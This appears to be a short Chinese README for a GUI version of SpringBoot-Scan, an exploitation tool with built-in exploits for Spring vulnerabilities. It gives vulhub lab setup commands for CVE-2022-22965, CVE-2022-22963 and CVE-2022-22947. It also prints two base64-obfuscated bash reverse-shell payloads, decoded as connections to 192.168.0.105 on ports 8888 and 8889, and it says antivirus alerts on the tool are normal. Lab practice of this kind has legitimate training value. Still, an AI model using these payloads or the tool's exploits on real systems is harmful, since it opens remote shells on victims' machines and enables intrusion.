开源工具 SpringBoot-Scan 的GUI图形化版本,对你有用的话麻烦点个Star哈哈~
注意:本工具内置相关漏洞的Exp,杀软报毒属于正常现象!
python3 main.py
git clone https://github.com/vulhub/vulhub.git
sudo apt-get install docker.io
sudo apt install docker-compose
cd /vulhub/CVE-2022-22965
sudo docker-compose up -d
cd /vulhub/CVE-2022-22963
sudo docker-compose up -d
cd /vulhub/CVE-2022-22947
sudo docker-compose up -d
如果报错,自行修改 .yml
文件中映射的端口号
13exp-shell
准备反弹shell:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i} || (Base64)
编码内容→ bash -i >& /dev/tcp/192.168.0.105/8888 0>&1
注:云境反弹shell需使用公网服务器
同样准备反弹shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1Lzg4ODkgMD4mMQ==}|{base64,-d}|{bash,-i} || (Base64)
编码内容→ bash -i >& /dev/tcp/192.168.0.105/8889 0>&1